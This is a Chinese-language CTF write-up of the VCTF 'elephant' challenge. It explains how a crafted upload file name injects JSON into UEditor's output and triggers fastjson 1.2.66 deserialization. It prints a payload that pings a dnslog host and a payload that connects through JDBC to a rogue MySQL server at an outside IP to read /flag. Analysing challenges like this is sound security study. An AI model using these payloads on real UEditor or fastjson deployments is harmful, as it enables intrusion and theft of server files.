VCTF-archived elephant
vctf-archived elephant
一道0day题目,挺好玩的,赛后复现一下。
由于预期解官方写的已经非常详细了,这里就复现了一下非预期解:
利用
这个漏洞的触发点其实挺简单的:
在com.baidu.ueditor.define.BaseState#toString,主要逻辑就是对map
进行遍历,把key
和value
进行处理最终制作成JSON
字符串形式。 其中key
和value
用+
进行拼接,如果key
或value
可控的话可能会导致json
注入问题
我们可以正常上传一个文件看看:
我们的文件名会被拼接进去,然后在venom.elephantcms.service.impl.UploadServiceImpl处调用了JSON.parseObject
在pom.xml中我们可以看到这里引用了fastjson1.2.66的依赖。
很明显,如果outJsonString我们可控的话,就可以触发fastjson的链子
那么正如上面所说,com.baidu.ueditor.define.BaseState#toString会对map遍历,而文件名是我们自定义的,那么很明确了,这里是可控的。
我们本地调试一下,传入形如gxngxngxn",{"@type":"java.net.Inet4Address","val":"z0finq.dnslog.cn"},"a":".jpg:
成功逃出恶意属性,接收到dns请求:
好了,现在我们就可以想办法利用fastjosn了
官方方法是利用fastjson common-io任意文件写来覆盖.btl文件打模板注入
这里我复现利用fastjson mysql来实现任意文件读取
我们看pom.xml中可以看到:
参考这篇文章:FastJson1.68&1.80版本反序列化利用 - FreeBuf网络安全行业门户
我们可以在自己的vps上伪造一个mysql服务,然后利用fastjson+mysql通过jdbc连接我们的服务,实现任意文件读取
首先利用:
在自己vps上启服务后,构造如下paylaod:
gxngxngxn",{"@type":"java.lang.AutoCloseable","@type":"com.mysql.jdbc.JDBC4Connection","hostToConnectTo":"81.70.252.29","portToConnectTo":1234,"databaseToConnectTo":"test","info":{"@type":"java.util.Properties","PORT":"1234","allowUrlInLocalInfile":"true","allowLoadLocalInfile":"true","allowLoadLocalInfileInPath":"/","maxAllowedPacket":"655360","user":"fileread_/flag","PORT.1":"1234","HOST.1":"81.70.252.29","NUM_HOSTS":"1","HOST":"81.70.252.29","DBNAME":"test"},"a":".jpg
发送后成功读取到/flag文件: